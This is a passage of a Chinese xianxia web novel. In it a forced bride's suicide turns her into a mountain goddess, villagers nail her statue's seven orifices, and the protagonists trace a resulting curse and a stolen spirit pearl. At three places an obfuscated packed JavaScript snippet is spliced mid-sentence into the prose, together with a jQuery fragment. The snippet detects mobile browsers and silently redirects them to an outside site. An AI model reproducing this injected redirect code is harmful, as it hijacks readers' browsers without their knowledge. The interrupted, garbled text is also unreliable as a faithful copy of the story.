他又吸了两口烟,难掩兴奋道:“明天过后就能拿到一百两银子,你有空不踏实,不如想想该怎么花?” 李婶子脸上最后一星愧疚也都随着即将到来的一百两银子消失了。 第二日一早,她便连同城主府派来的婆子给程舟换上喜服,梳好头发后匆匆塞进喜轿中。 她拍了拍微皱的衣角,催促老陈:“快快快!跟着迎亲队伍去领赏。” 城主夫人对这桩喜事表现得极为看重,迎亲的队伍足足有半条街长,吹唢呐的撒喜钱的抬轿子的,人人脸上都挂着笑容,唯独轿中的程舟不知喜悲。 走了约莫半个时辰,迎亲队伍热热闹闹的停在城主府外,城主夫人和痴呆的儿子站在一处,喜婆正招呼着新娘下轿,此时天空突然闪过一道惊雷,远处路过的道士见状朝这边走来。 城主夫人连忙道:“许是要下雨了,别顾这些虚礼,儿啊,去,把你的媳妇接过来。” 他一脸痴呆的走下台阶,朝程舟伸出手,她睫毛微颤,最终还是将手放了上去。 城主夫人极为满意:“好好好,这真是一桩极大的喜事。” 说完,一对新人刚好走至她身边,对上她视线那刻,程舟突然动了,她一手推开傻子,一手拔下发簪朝城主夫人刺去。 此人平日里没少做亏心事,时常担心有人刺杀她,因此练出了极强的警惕心,程舟出手的那刻她便躲开了,不顾形象的爬了几步,喊道:“给我捉住她!” 一击不成,便再无退路。 程舟绝望嘶吼:“万氏!你草菅人命作恶多端!苍天有眼,定叫你不得好死!” 说完一头撞在了柱子上,这一撞用尽了力气,她身体一软,倒在了台阶上,血迹顺着台阶流到了赶来的道士脚边,程舟眼眶里突然留下两行血泪,道士用一小葫芦取走了两滴泪,随即叹了口气,一阵大风刮过,道士连同程舟的尸体都不见了。 数月后,兰丘城外的山上突然多出一座山神庙,庙内只有一尊女神像。 听完山神的来历后,兰驿问了一句:“那个道士是何来历?” 桑荷摇头:“我也不知,能助程舟当上山神,这道士修为应当非常高深,许是哪座名山上下来的。” 书环道:“你费了这么多功夫说了山神的来历,想必后面的事,也和这群逼死程舟的人有关系。” “姑娘猜得不错,山神庙出现后的第三日,被人发现了。” 发现山神庙的是个上山砍柴的农夫,他平日里都在这座山上砍柴,对此地极为熟悉,乍然多出一座山神庙,他定是要好奇进去看看的。 农夫推门而入,见庙内整洁明亮,神像庄严慈睦,越发认定这是天神显灵赐下护卫一方的庙宇,当即便把这个消息带回了城内,一传十十传百,很快便传到了城主府里,此时距离那场沦为百姓谈资的婚礼已过去了几月,城主整日抱着新纳的小妾醉生梦死,王氏虽生气却也无可奈何,听闻城外突然多出个灵验的山神庙,便想着带儿子去拜拜,兴许他的痴呆能有所好转。 她救子心切,第二日便带着儿子去了山神庙,又是下跪又是磕头,上的香插满了香炉,待她诉完来意抬头时,整个人都愣在了那里,原因无他,这尊神像……太像程舟了。 她当时便尖叫起来,指着神像大骂道:“谁干的?这是谁干的!竟敢把那贱人塑成神像放在这!还故意骗我是山神显灵,是不是隔壁院子那个狐狸精干的!” 少城主在一旁流着口水拍手掌。 王氏指使侍卫:“给我把神像砸了!” “住手!都住手!” 她的奶娘听到动静跑了进来:“夫人,好端端的砸神像做什么?” 王氏像是抓到了救命稻草:“秦嬷嬷,这个神像是照着那个贱人塑的啊!她回来了,她回来找我了!” 秦嬷嬷自然知道她口中的贱人是谁,那日少城主娶亲她就在现场,她抬起头将眼前这座神像仔仔细细的看了一遍,没发现有和程舟挂相的地方。 “夫人,你就是太累产生幻觉了,山神像和程氏没有关系。” “有!她们长得一模一样!就是她回来了!她死得那么惨,血流了那么多,她不会放过我的……那天她还留了血泪……我杀过那么多人都没见谁流过血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517637|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪……她……她太恐怖了……” 秦嬷嬷又看了一眼神像,发现除了是女的外和程舟真的没有一点相似之处,她断定王氏是受了刺激,赶忙叫人将她带了回去。 山神庙一别后,王氏和儿子大病一场,城中百姓却对山神庙更加信服,每日都有络绎不绝的人前去跪拜,偶尔也会有一两个人怀疑山神庙的来历是否和惨死的程舟有关,很快便被人压了下去,原因无他,山神像和程舟一点也不像,完全是两模两样的两个人。 很快城主府的妾氏便有了身孕,长辈已逝,王氏找不到给她撑腰的人,每日一睁眼便仿佛听见城主派人来将她扫地出门,她整日惶惶不安,决心再去一趟山神庙。 这一次还没上山便停住了脚步,她害怕看到那张熟悉的脸,虽然秦嬷嬷拿命担保山神和程舟没有关系,但她还是害怕。 踌躇间,一个道士从山间小道尽头走来。 “这位夫人……” 他话还没讲完便被王氏吼了一声滚,程舟死的那日也有一个道士路过,还带走了她的尸体,王氏现在对道士极为厌恶。 那人无缘无故被吼了一声也不生气,只道:“夫人怨气缠身,还需多多保重。” 王氏像见到救命稻草般拉住他。 “你刚刚说什么?” “我说,夫人被怨气缠身……” 王氏回到城主府时手脚都还在发抖,她让秦嬷嬷关好门窗,将藏在袖中的一个包袱拿出,打开后里面摆着七枚形状诡异的钉子。 那位道士说她之所以怨气缠身,是因为有惨死的人来找她报仇了,他见山上的山神庙来路不明,想是同一人所为。 要想破解,只能将这七根钉子打入神像七窍。 秦嬷嬷问道:“夫人,我们要不要……” 王氏摇头:“不,这事不能我们来做,那道士的话不能全信,万一山神庙和程舟没关系的话,我们会遭报应的,这样……” 两日后,一则关于山神是程舟的传闻毫无征兆的在街头巷角传播开,据传,有一位世外高人途径此地,见此地有座山神庙便想着进去拜访一下,谁知竟是座鬼庙。 “罗二,你吹牛越来越没边了啊!那山神庙我又不是没有去过,山神哪里像程舟了?” 罗二吐了口口水。 “你懂个屁,要是长得像那还不一眼就让人发现了?” “可山神庙明明很灵啊。” “不灵怎么把人骗过去?” 罗二说着拿出一块叠好的红布,打开一看,里面并排躺着七枚形状诡异的钉子。 “看见没,这就是那个道士给的东西,说只要把这七枚钉子打入神像七窍之中,这尊邪神就会自己消散。” “那你还坐在这里干什么?” 罗二一把将红布连同钉子丢到了远处的墙角里:“跟我有什么关系,又不是我害死的她,她要报仇自会去找害她的人。” 众人就程舟的死又聊了半天,待到天色暗下来时才接二连三的离开,所有人都走光后,躲在墙角后的李婶子才小心翼翼的探出身子,捡走了那叠裹有钉子的红布。 32. 山神的诅咒 李婶子将那叠红布揣在怀里,犹如做贼般回了家,刚进门便被丈夫劈头盖脸一顿骂:“死哪去了!孩子发烧了知不知道!” 她眼一瞪,连道几句完了。 老张一抬巴掌:“发个烧而已,完个屁,你能不能说点吉利的?” 李婶子进屋看了孩子,见他整个人烧得通红,连将今天听到的话都说了,又把那叠红布取出,问道:“现在该怎么办啊!早知有今日,当初就不贪那一百两银子了,钱没到手不说,还惹上这种事……” 老张啪嗒啪嗒吸了两口烟:“事已经做了,现在再哭也没用,她活着的时候都斗不过我,死了还能翻起什么风浪,再说了,这不是还有能治她的东西吗?” 李婶子也冷静下来,拉着他道:“不能只有我们动手,当初绑程舟回来,附近的人都是出了力的,我就不信他们不怕。” 两人对视一眼,将钉子收起,自这日过后,惨死的程舟变作山神回来复仇的传闻渐渐传开,在有心之人的火上浇油下愈演愈烈。 “我就说最近怎么变倒霉了,原来是死人在作怪!” “我家丫头前几日便开始咳嗽,喝了许多药也不见好,我当时还奇怪来着,没想到是因为这个。” “天啊!我家老李摔坏了腿,和当初老程一样,都是右腿!” “我家的人倒是没什么大问题,就是屋顶隔三差五便要漏,不会是那丫头给我的警告吧?” “完了完了,她不会放过我们的。” “这死丫头真是的,自己放着好好的少城主夫人不做,非要去寻死,死了便也罢了,死后还要出来作乱。” 叹气声此起彼伏,受氛围感染,城中之人但凡发生点什么不顺利的事都要怪到程舟头上,时间一久,有人受不了道:“难道我们就这么看着她作怪吗?” “不看着还有什么办法?我们一介凡人,哪有那个本事和山神做对?” “哼!山神而已,说的好听是神,说的不好听,那就是个有点修为的鬼魂,杀了她也不是什么难事。” 老张见时候差不多了,开口道:“其实……我倒有个法子,看出山神是那死丫头的道长曾留下七枚钉子,说只要将其钉入神像的七窍,便能让她魂飞魄散。” 有人不忍:“会不会有些太残忍了?” “残忍什么?她都来害我们了,难不成我们还得考虑她的下场是吗?你在这种时候帮她说话,是不是跟她一伙的?” “我哪里帮她说话了!我只是觉得人家一个女孩子,被逼着嫁给一个傻子,我们不帮忙就算了还推了她一把,如今还要让她魂飞魄散,这种做法在谁看来都有些过分吧?再说了,我一个活生生的人,怎么跟死人一伙?” “人和鬼怎么不能联系?再说了,谁知道你还是不是人?” 眼看两人就要打起来,老张急忙道:“好了,大家聚在一起是为了解决事情,程舟的事,谁也不愿意这样,但那不是没办法了吗?她不嫁,我们这群人都得遭殃,至于她的死,那是她自己的选择,不应该怪在我们身上,更不应该死后作乱。” 他站起身:“为免夜长梦多,我打算今夜就上山,谁愿意跟我一起。” 在场半数人都站起身。 “好,那咱们收拾收拾,晚上就动身。” 兰丘城下有一条密道,是数十年前此地发生战乱时所挖,只有一小部分人知道它的存在,王屠夫便是其中一个。 众人从地道偷偷出了城,就着月色到了山神庙,推门一看,庙内灯火通明,山神像浑身笼罩着暖黄色的光晕,一脸慈悲的看向世人。 有人生了退意:“老张,这事……真的能行吗?” “来都来了,不管行不行都得试试。” 说着,他上前两步,踩着供桌借力翻上神像,从怀中摸出一枚钉子,问下面的人道:“把铁锤给我。” 接过后将钉子对准神像的眼睛猛地砸了一锤,金石相撞的声音刺得所有人心头一颤,烛火暗淡一分,又是一锤落下,一粒碎石飞溅进了眼里,老张被迫从神像上下来,另一个人接过锤子和钉子爬了上去,片刻后,那双悲悯望向世人的眼睛消失了。 山神庙内凿击声此起彼伏,如同潮水一点点淹没庙内的烛火,待到最后一根钉子彻底钉入,最后一缕烛光也熄灭了。 书环眼里的泪光却闪烁起来。 她问桑荷:“后来呢?” “后来,一夜之间兰丘便发生了某种看不见的变化,读书人落第,行商者破财,当官者入狱,有情人分离,年幼者夭折,因为是在山神庙被毁后发生的,于是大家都认为这是山神的报复和诅咒,出于愤怒,他们把山神庙彻底推平,山神像也被分割成几块,埋在不同的路段供人踩踏,即便如此,兰丘城的衰败也无法停止,百年时光,便成了今天见到的这般。” 书环问道:“所以就有了山神的诅咒这个传闻?” “是的吧。” “你又是如何得知这么多细节的?” 桑荷得意:“百年前兰丘富饶又偏远,虽有一个不怎么正常的城主,但仍是各类小妖最喜欢的地方,我尚未化形时便听说过此地的美名,想着过来游玩一番,谁知刚来便听见一群人商量着弑神,向那些妖叔叔妖婶婶多方打听才拼凑出事情原委。” 书环道:“听起来,普世庙里那尊神像好似真与多年前的山神有关系,可若真的是程舟,她为何隔了百年才回来报仇?” 兰驿道:“莫非是她在神像被毁后心境发生了变化?隔了百年才重新出世,说明当年的事让她伤得极重,不得不避世修养。七枚钉子钉入七窍这种法子,我以前也有所耳闻,不过那都是些民间的邪法,城主夫人遇上的那个道士,大概不是名门正派的人,与之前带走程舟尸体的应该不是同一人。” 书环道:“那还真是奇怪,两个道士,一个救了她,一个害了她,二者肯定不是一路人,只是不知如今是否尚在人世。” 说到这,她叹了口气,问桑荷:“你的那些妖叔叔妖婶婶可有见过此事,并且还在兰丘的?” 桑荷失落下来:“早离开此地了。” 书环体力逐渐不支:“要是能找到当年的那些妖怪就好了,多少能问出点有用的消息。” 桑荷抬头:“说起这个,我突然想起,当年确实还有一件跟山神有关的东西被留了下来。” 白石湫问道:“何物?” “是 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书环接上他没说完的话:“时好时坏。” 桑荷将香炉递了出去,莫临江和白石湫各自研究了一会,什么东西也没发现。 兰驿自诩见多识广,当即将自己知道的使用法器的法子都试了一遍,香炉还是不为所动,他无奈转手递了出去。 “白高兴一场,这玩意就是个材质少见的普通香炉。” 书环捧着它看了一会,突然抬头:“谁带了香?” 白石湫取出三根香,将其点燃后插进香炉内,奇怪的是香炉中并未填灰,那三根香竟奇迹般立住了。 众人围在床边,香烟笔直而上,尖端分成几缕,被几人毫无预料的吸了进去,书环只觉眼皮渐重,双眼合上的同时,一副陌生画面却在脑海中缓缓展现。 那是一个光线阴暗的洞府,一个道士一手拿铁锤,一手拿凿子,正在给一尊石像修脸,远处的石台上摆放着一具尸体,额头的血迹早已被擦干净,身上还穿着那件嫁衣。 洞中光阴似流水,不知过去了多久,道士总算放下了手中的凿子,他对石台上的尸体道:“拿走你两滴泪,还你一座山神庙,也算扯平了。” 书环心道:果然,这就是带走程舟尸体的那个道士。 可惜他一直背对着这边,书环无法看清他的脸。 画面突然暗了下来,不知过了多久,一缕烛火突然亮起,紧接着第二盏、第三盏,第四盏…… 小小的屋子突然变得灯火通明,道士和尸体不知去了何处,只有一座慈悲的神像立在这,下方的供台上摆满了鲜花水果,还有一尊粉色的香炉。 这便是山神庙了。 书环将神像的那张脸仔仔细细看了一会,确实没发现和程舟相像的地方,烛火噼啪燃了一会,桑荷故事里第一个发现山神庙的屠夫推门进来了,随后的场景开始变得零碎,都是一些城中百姓赶来祈福的画面,听了不知道多少类似家人平安顺遂的愿望后,画面再度一暗,这次亮起时,视线里突然多出一个奇怪的身影。 33. 不速之客 那人从头到脚都包裹在黑袍内,只留在一双眼睛在外,他行走极快,瞬息间便窜出去老远,但从这一点来看,这是一个修为极高,不知善恶的人。 他朝着一个方向直直而去,走入一片山谷后,他停顿稍许,十分警惕的看了看周围,确定没人发现后才继续往前,停在两座山中间。 这两座山贴得极近,像是两颗生长在一起的桃,唯一美中不足的是两座山相连的地方有一道裂缝,来人在两个手掌上写满了符文,然后双手相背插入山体缝隙之中,不等他有所动作,一根藤条搭上了他的肩。 “想干什么?” 和山神像同样穿着的程舟出现在他身后,一根长满刺的藤条受她所控,攀在他肩头,像一条小蛇般晃着脑袋,随时准备进攻。 黑衣人扭过头,眼睛眯了眯,嗓音沙哑道:“山神?” “知道我是山神就好,你是什么见不得光的怪物?在这里偷偷摸摸的想干什么?” 那人将两只手掌抽了出来,咯咯笑了两声,右手抓住藤条把人往自己这边一拉,另一只手握着刀捅了上去。 程舟化作一股烟雾散去,重新聚集在黑衣人身后,对方一掌向她劈来,她绕过后就着手里那根藤条同他对打起来,程舟当上山神不到一月,修为尚浅,很快便落了下风,被一掌打出去老远。 她单手撑地,看了一眼正在缓步靠近的黑衣人,启唇念了一串咒。 山谷的风停了,黑衣人止步不前,警惕的望向四周,忽然,他脚边的一颗石子浮到了空中,紧接着整个山谷露在地面上的石子都浮动起来,藤蔓从树干上收回缠绕的藤须,纷纷朝着黑衣人攀爬而来。 他退后两步,满天的石子都冲他砸了过去,藤条如同遮住了光线。 程舟站起身,警告道:“滚出兰丘地界,再敢来,我就杀了你。” 尘土落尽后,此地已没有了黑衣人。 画面一转回到山神庙。 这似乎是一个傍晚,乌云在头顶堆积,雨滴欲坠不坠,带着一股不详的压抑。 山间小道的尽头出现一道黑影,待其走近后一看,果不其然,是那个黑衣人。 书环心道:程舟都警告过他了还来,真是锲而不舍啊。 那人停在山神庙外,程舟一个供果朝他打来。 “还敢来此,看来是把我的话当做耳旁风了。” 那人退后两步:“我没有要和你动手的意思。” “那你来这是什么意思?” “山神莫要激动,离去的这几日,我去打听了一下山神生前的经历。” 程舟沉默不语。 黑衣人道:“听闻山神被逼而死后,在下很是痛心,城主一家实在过分,你的那些邻居也属实自私,山神这般心性至纯之人,怎能屈居于这样一方小城池,护着这群自私之人,不如随我离开,届时天下之大,任君选择。” 程舟摸了摸下巴,笑道:“阁下给出的条件确实诱人。” 黑衣人一笑,又听她道:“好大的口气,不知道的还以为你成仙了,能随意划分这世间,这么大口气,有本事让我死而复生啊!” 明明隔着一层面纱,书环却明显察觉他的表情冷了下来,声音透着一股倦怠的寒意:“程舟,你不要以为世人称你一句山神,你就真的是神了。” “我是真神也好,假神也罢,都与你没有任何关系,我是怎么死的那是我的事,兰丘城的人值不值得守护我也有自己的考量,契珠你不能带走,兰丘你也不能久留。” 黑衣人没有继续纠缠,以一种平静到毫无波澜的语调告诉她:“程舟,你别后悔。” 书环心头一凉,果然,画面一变,山脚下小道旁,踌躇不前的城主夫人遇见了从山上下来的道士,长相极为普通,扔到人群中立马分辨不出来。 送出七枚钉子并告知使用方法后,道士看着她离去的背影笑了起来。 后面发生的事和桑荷说的没有太大差别,唯一不同的是,钉子钉入神像的眼睛里时留下了两行血,书环通过众人的反应确定这血只有自己才能看见。 村民封完七窍后确定没事发生,便又偷偷摸摸的下了山,书环站在门内,借着月色凝视那双流血的眼睛,突然间背后多出一个高大的身影,书环僵直身子转过头去,见黑衣人那双眼睛略带笑意的望向神像,他驻足在此看了一会,随即转身向山里走去。 书环下意识的抬腿,竟意外发现自己可以控制身体了,于是马不停蹄的跟了上去。 黑衣人没有再使上次那种瞬移的功法,而是一步一步的走了过去,又到了上次两人交手的地方,山还是那两座山,周边的花草书环都还如原来一般,唯一不同的是,再也没人能阻止他了。 他将双手画满符文,手掌相背插入缝隙内,掌心的符文突然爆发出一阵光芒,紧接着山体一震,那道缝隙不断扩大,两座山如同一个畸形的桃被硬生生掰开。 黑衣人顺着那道缝隙走了进去,书环走到一定深处后便无法再进入,只能隔着老远见他走到一个池子边,从那汪散发着柔和光芒的水中捞出一颗五彩的珠子,即便隔着老远,书环也能肯定,这个行事诡异的人在这一刻发自内心的笑了。 他顺着裂缝走了出来,每走一步,身后的山体便自动愈合,待他离去后,这两座山已恢复原样,完全看不出曾被人撕裂过。 原来,兰丘的衰败是因为有人偷走了契珠。 书环突然很想再去看一眼程舟,然而她刚抬脚,一股失重感便袭来,她猛地闭上了眼,感觉有一双大手扶着自己的脑袋,莫临江的声音在身前响起:“书环,醒醒。” 她睁开眼,见一群人围着面前,自己则靠在裴殊怀里,手中那尊香炉里的香已燃到了尽头。 “你是我们中最后清醒的一个。” 兰驿则问:“搭子你都看见了什么?居然这么晚才醒。” 她揉着胀痛的太阳穴:“契珠,我看见有人设法取走了契珠。” 白石湫脸色一变:“是何人?” “我不知道,他浑身上下都被黑色的布包裹着……” 书环将那人取契珠被拦,又使计让人毁掉山神像的事一说,几人面色各异。 白石湫道:“那人能取走契珠,定然不是等闲之辈,此事已过百年,唯一与其有关的,恐怕是那尊山神像上的钉子,如今的这尊邪神又与其有关,无论如何,要先找到被分埋的神像。” 莫临江起身道:“我去找那座孕育出契珠的山。” 兰驿笑道:“那我去给白少宗主打下手吧,搭子,你好好休息,有事让裴公子通知我们。” 桑荷死死拽着白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557939|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石湫,表示自己要一同跟去。 书环浑身发软,连回话的力气也没用,只能目送几人离开。屋内顿时空了下来,她问裴殊:“你知道契珠吗?” “山川气运至浓之地所化,传闻此物能开天辟地。” “难怪她们一个个都急匆匆的。”说着看向裴殊,“你怎么不着急?这么重要的东西被人偷走是会出大事的。” 他面无表情的端起药碗,递到书环面前:“与我何干。” 若非知晓此人的脾性,书环简直要怀疑他是在恶意报复自己。 “一定要喝吗?”她看向裴殊的目光中带着三分乞求七分恐惧。 “嗯。” “苦!” “不苦。” “骗人。” “换了药方。” 书环小心翼翼地看他:“真的?” 裴殊把药碗又往她嘴边送了几分。 “真的。” 书环迟疑一瞬,就着裴殊的手喝完了那碗药,果真如他所说没什么苦味。 她狐疑的看了裴殊两眼,正打算再同聊几句,一股铺天盖地的苦味突然从喉间窜了上来。 “呕……你在药里动了什么手脚!呕……” 她趴在床边吐得天昏地暗,方才喝下的那碗药却像是焊死在胃里般,丝毫不肯挪脚。 “你……你都想起来了?”她不禁往最坏的方向想。 “想起什么?” 裴殊将她扶起,手指在碗底一点,将药汁点在舌尖,书环等了一会,见他从始至终都没反应,不由得问道:“不苦吗?” 裴殊反问:“苦吗?” 书环将眼前这人从头到脚仔仔细细看了一遍,连眼睫毛都没放过,晕过去的前一刻她得出一个结论:裴殊是练毒的。 裴殊对她晕过去的反应不是很惊讶,将人安置好,又在屋内布了一个阵法,确认没有漏洞后,这才抬脚朝外走去。 转过几道弯,走过几条街后,裴殊来到了曹氏首饰铺前,几日前还生意兴旺的铺子如今大门紧闭,他往前几步,向隔壁的掌柜询问曹文德近况。 对方一见裴殊的长相,立马将自己知道的事尽数脱口而出。 “曹掌柜啊,”他忌讳的看了一眼天,“他不是被诅咒缠上了吗?这几日老是破财不说,还消不了灾,今天早上有人来买首饰,试戴的时候出了意外,把脸划伤了,曹掌柜生怕铺子再开下去连老本都赔没了,连忙关了回家去了。” 怕裴殊找不到曹文德的家,隔壁掌柜还特意告知他具体的方向,待人走后他问店里的伙计。 “兰丘什么时候来了个这种人物?” “应该是前些日子来的,两天前曾在隔壁买了东西,不过当时和他一起的还有他夫人,如今他孤身一人,又来打听曹掌柜下落,不会是出了什么事吧?” “多半是吧,出了这种事,除非运气好,能得神女相助,不然就只能有情人阴阳两隔咯,不过我见他一头白发,多半是身患绝症,本身就活不长,这样一想,两人到了地底下,倒也勉强算再续前缘。 小二不语,自家掌柜酷爱话本,张口闭口都是爱恨情仇,但凡见到个相貌出众的都得在背后幻想对方有过什么惊心动魄的前尘往事,不过依他来看,方才那位公子的姿容气度,可不像是普通人。 34. 千年修得共枕眠 南街某处宅院内,曹文德垂头丧气的坐在石桌旁,屋宅的门窗上贴满了符纸,每处墙角都插有三炷香,自从那日屋檐上掉落瓦片开始,他便陷入了无尽的倒霉之中,他没那个福气被神女选中,只能另想办法,可无论是祭祖还是祭天,这些香烛都像是被人动了手脚似的,用尽办法也无法点燃。 他叹了口气,准备起身回房躺一会,谁料墙角下站了个一头白发的男子,乍一看还以为是什么天性貌美的精怪。 “这……这位公子,你找我?” “曹掌柜看起来气色不太好。”裴殊坐到他对面。 曹文德两手搓脸:“何止是不好,简直是……险些要了我的命啊!” “这几日处处倒霉,走路被瓦片砸,无缘无故踩中东西摔倒,吃饭吃出碎瓦片,睡觉时被塌了的床帐砸……总之稍有不慎,我这条老命就交代在这里了。” 他抹了把眼泪,小心翼翼地望向裴殊。 “公子,你今日来找我……不会是后悔了,来退货的吧?我丑话说在前头,我们曹氏珠宝铺卖出去的东西,概不退换。” 裴殊道:“在店里买完东西的那天夜里夫人突然高烧不止,我猜或许与城中的流言有关,今日前来是想看看曹掌柜是否有恙。” “唉,尊夫人如此瘦弱,遭遇此番变故恐怕有些难捱,不过公子与夫人福泽深厚,想必不日便能得神女相助。” 裴殊问道:“那曹掌柜呢?” “我……我就没有这种好运气了,不过是能捱一天是一天……” “这诅咒凶悍至极,平生难见。” 曹文德叹气:“可不是。” 又听对方道:“竟连妖也逃不过。” 他愣住了,一柄黑白相间的剑不知何时拦在了颈侧,他只是微微抬头,脖颈旁的皮肤便因扯动被割开一道口子,血液垂直留下,打湿一片衣领。 倘若自己想跑,这柄剑的主人只需轻轻挥手就能割下自己的头。 曹文德吓出了一身的汗,满脸惶恐,连句完整的话都说出去:“公……公子……你这是……做什么呢?” “一只妖,不好好修行,竟伪装成凡人贩卖珠宝,当年的妖在事发之后都离开了此地,你却一直留在了兰丘,意欲何为?” 曹文德全身上下都在抖:“公子,你说的……我都听不懂啊!” 裴殊目光一凛,把剑又往伤口里压了几分。 “不知悔改。” “我说!我说我说我说……” 刀刃已嵌进了肉里,血源源不断的流出来,曹文德生怕他真将自己的头砍下来,连忙哭着道出了原委。 “我是……我是五十多年前到的兰丘,那时的兰丘比现在还要好上一些,风沙没有这么多,时常有商队路过此地,我们灰鼠一族最擅寻宝,我攒了好些珍贵玩意,打算找个不起眼又能赚钱的地方开间铺子,走访多地后定居在了兰丘,这铺子一开就是几十年。” 裴殊问道:“既是如此,那你为何装作沾染诅咒?” 曹文德咧嘴:“这不是……见城内形势不好,想换个地方,于是打算假借此事金蝉脱壳,谁知被你发现了。” “城中诅咒横行已久,你为何等到近日才有所动作?” 曹文德不好意思的笑了笑:“前些日子,城中有钱人仍有不少,我想着能多赚一点是一点。” 裴殊颔首,问他:“那尊香炉是哪里来的?” “早年从一小妖手里买来的,听说是上一任山神用过的东西,我研究了好久,没研究出什么名堂,便拿出来卖掉了。” 裴殊压着剑的手一抬,剑刃离开脖子,曹文德刚松一口气,便见对方一剑挥来,他猛地往地上一滚,躲出去一段距离,脖子上的伤口发出一阵撕裂的痛,他抬手捂住,质问道: “该说的我都说了,你怎么还动手?” 裴殊抬剑:“你的话未必当真。” “只因怀疑我的话未必真实便要杀我,你怎能如此霸道?像你这般心狠手辣的人,定然救不好你夫人!” 说完往地上一趴,一股白烟冒起,身子瞬间瘪了下去,裴殊用剑一挑,发现只剩下一堆衣服和一个不知通往何处的洞,曹文德化回真身跑了。 他去屋子里转了一圈,此处霉运盘结,整个院子死气沉沉,除却裴殊外唯一有生命的便是几株叶子快要掉光的花草,奇怪的是,曹文德身为珠宝铺掌柜,自己屋内的摆设却十分简单,看起来不像是常年居住的地方。 回到街上,行人都在低声讨论,城内来了个修为高深的道士,一眼便看出此地被诅咒已久,说要挖出山神像的碎块才能找到破局之法,附近的壮年都赶过去帮忙了。 裴殊抬头看了眼天,再过几个时辰书环又该喝药了,他抬脚进了药铺。 带着药回客栈时,书环尚在睡梦中,看了眼阵法,确定离开后没人来过,裴殊准备将新药煎上,身后的床榻上突然传来动静。 书环从噩梦中惊醒,第一眼看见的便是裴殊的背影。 “什么时辰了?” “申时。” 裴殊折返回来,坐在床边替她把脉。 “莫姐姐她们有消息吗?” “城中起了流言,要挖出山神像才能找到破解之法。” 书环笑道:“这一看就是兰驿想的法子。” 裴殊把脉的手指微弱一跳,随口问道:“你跟他关系很好?” “见过几面,一起瘸过腿。” 想到刚穿来时的场景,她不免病中带笑,笑着笑着才发觉这会让裴殊误会,于是她反手抓住裴殊的手指。 “我就是笑我俩当初瘸腿的模样很滑稽,没有别的意思。” “嗯。” 他想抽出手指,书环不让。 “把脉。” “真的没多想?” 裴殊垂眸:“嗯。” 床上之人没有再说话,他抬眸,书环果然又睡了过去,这次把脉没有人捣乱,许久之后,他收回手指,眉间不易察觉的染上了愁绪。 书环一睡又是半个时辰,醒时裴殊刚好端着煎好的药进来,她一闻味道便叹气。 “又要喝药了。” “换了药方。” “你上次也是这么说的,结果直接把我苦晕了。”她扭过头去看他,对方不为所动。 还真是块木头。 她找了点话题拖延时间:“我刚刚做了一个梦,老恐怖了。” “嗯。” “你光嗯,都不问问我梦到了什么。” 裴殊问道:“梦见了什么?” “你一点都不懂关心人!非要我提醒才问。” 裴殊不说话了。 她拉了拉他的袖子:“裴殊,我总有种大限将至的感觉。” 裴殊看她一眼,把药碗递到她嘴边:“喝药。” 木头木头木头! 书环撇撇嘴,正要抬手,一股绞痛忽然袭来,她毫无预料,一口血吐在了裴殊袖口,吐完身子晃了晃,一头栽倒在床上。 房门突然在这时开了,兰驿走在最前面,刚踏进来便看见裴殊面色发冷的转过身,一只手正在往下滴血,在他身后,是嘴角带血不知死活的书环。 兰驿刷的一下抖开扇子:“你杀了我搭子!我跟你拼了!” 莫临江将他拦住,白石湫上前查看书环,桑荷见状挠了挠头,不想没事干,问裴殊:“公子要洗手吗?” 裴殊没理他,转身将人从床上抱起,方便白石湫在她后背施针。 待她施针完毕,兰驿总算反应过来事情不是自己所想那般,遂问道:“她这是怎么了?” 白石湫问裴殊:“郁气攻心,你惹她伤心了?” 裴殊思考了好一会才回答这个问题:“没有。” 兰驿道:“莫非是让她喝药气的?” 桑荷道:“染上诅咒是这样的,从前很轻微的病症也会被放大,若是手上有个小口子,现在指不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是书环二十多年来第一次和成年男子共同躺在一张床上,并且对方还是自己笔下的一个凶残反派,碍于对方的存在,她不好意思翻来覆去,十分板正的躺了一会后,她开口道:“裴殊,你睡了吗?” “没有。” 她语气兴奋:“真巧,我也睡不着,不如我们来讲故事吧!” “谁讲?” “当然是我讲,诶你转过来,别像躺棺材一样躺在这里,我害怕。” 他迟疑一瞬,微微侧过身子。 “你想听什么?” “你会讲什么?” 书环有一点得意:“我什么都会,你想听哪种故事?” 裴殊听见自己的声音略有起伏道:“你上次的故事还没讲完。” “你喜欢墨柳的故事?嘻嘻,我也喜欢。” 于是她就着上次断掉的地方接着讲了下去,夜深人静,层层床幔的遮挡下,只有少数的低语偷偷钻了出来,书环说的很慢,每隔一段剧情便会停一会,裴殊没有出声打断,听她从穷书生喜欢上了墨柳花钱买通的女子,墨柳设法让小姐知道了此事,讲到小姐甘愿做妾。 书环问他:“这三个人里,你最不喜欢谁?” “小姐。” 这个答案有点出乎她的意料。 “我以为你会更讨厌穷书生。” 